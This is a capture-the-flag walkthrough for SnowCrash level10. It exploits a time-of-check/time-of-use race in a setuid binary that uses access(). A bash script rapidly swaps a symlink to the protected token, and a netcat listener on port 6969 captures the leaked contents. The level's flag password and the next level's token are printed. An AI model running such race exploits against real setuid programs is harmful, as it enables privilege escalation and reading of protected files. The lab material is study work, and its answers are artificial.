When we login as level10 user we get the following files :
level10@SnowCrash:~$ ls -l
total 16
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
We do not have access to the file token. When we execute the binary level10 we get the folloing result :
level10@SnowCrash:~$ ./level10
./level10 file host
sends file to host if you have access to it
It seems to expect some arguments. one file name and a host such as an ip address of a host
so we try the folloing
level10@SnowCrash:~$ ./level10 token localhost
You don't have access to token
level10@SnowCrash:~$ ./level10 /bin/ls localhost
Connecting to localhost:6969 .. Unable to connect to host localhost
It seems that the file do not let us see the content of token and if we do put a file that it excepts we neet to have a receaver for this file, specially on port 6969.
When we decompile the binary we get the following result :
It seems the file checks the access of the path that we provile and if the result is OK the program creates a TCPSocket and sends the file to cloent. There is nothing too complicated.
So it seems that the access function is not very secure because it is possible to exploit this function by providing a file to which we have access and once the check for Access is done if we are quick and we replace it with some other file that file will be consider valide.
So in this situation what we can do is
make a way to replace the file quickly enough so that we can pass the access check and the executable reads the replaced file
Create a process to receave the file that will be send by the level10 executable.
I have created a simple script that creates a random file that we an acces and replace it with the token file
#!/bin/bash
# This file will be reserved so even if the link is deleted the file will stay
random_file=$(head -c 500 /dev/urandom | tr -dc 'a-zA-Z0-9~!@#$%^&*_-' | fold -w 25 | head -n 1)
# Crate a file with a random name
touch /tmp/$random_file
# This name will be used to create the symbolic link.
link_name=$(head -c 500 /dev/urandom | tr -dc 'a-zA-Z0-9~!@#$%^&*_-' | fold -w 25 | head -n 1)
while true
do
/home/user/level10/level10 /tmp/$link_name 127.0.1 &> /dev/null
done &
while true
do
ln -fs /home/user/level10/token /tmp/$link_name
ln -fs /tmp/$random_file /tmp/$link_name
done
we can create and save this file in /tmp directory.
## We are looping because it is possible that it doesn't work
## in the first try.
while true; do nc.traditional -l -p 6969 | grep -v '.*( )*.' ; done
nc.traditional is just an other version of netcat (nc) where we can use the -p option to specify the port number to listen to. In the nc (the version provided in the ISO) it takes the port number as the last command line argument passed.
In my case the best way to perform the job to get the flag was to execute the netcat loop in one terminal and the getflag.sh script in another and when we execute both of the script we get the flag from netcat
level10@SnowCrash:~$ while true; do nc.traditional -l -p 6969 | grep -v '.*( )*.' ; done
woupa2yuojeeaaed06riuj63c
Password for next level
The Password to connect to the account level11 is feulo4b72j7edeahuete3no7c
Command summery
## Use the script to loop the binary execution
## Use netcat to listen to port 6969 and get teh flag
while true; do nc.traditional -l -p 6969 | grep -v '.*( )*.' ; done
woupa2yuojeeaaed06riuj63c
## Log into the user flag10 to get the password for level11
level10@SnowCrash:~$ su flag10
Password: woupa2yuojeeaaed06riuj63c
## Get the password for level11
flag10@SnowCrash:~$ getflag
Check flag.Here is your token : feulo4b72j7edeahuete3no7c
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using (2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call (2).)
Now what we need is a server that can accept TCP requests. And can listen to a certain port and accept data from client.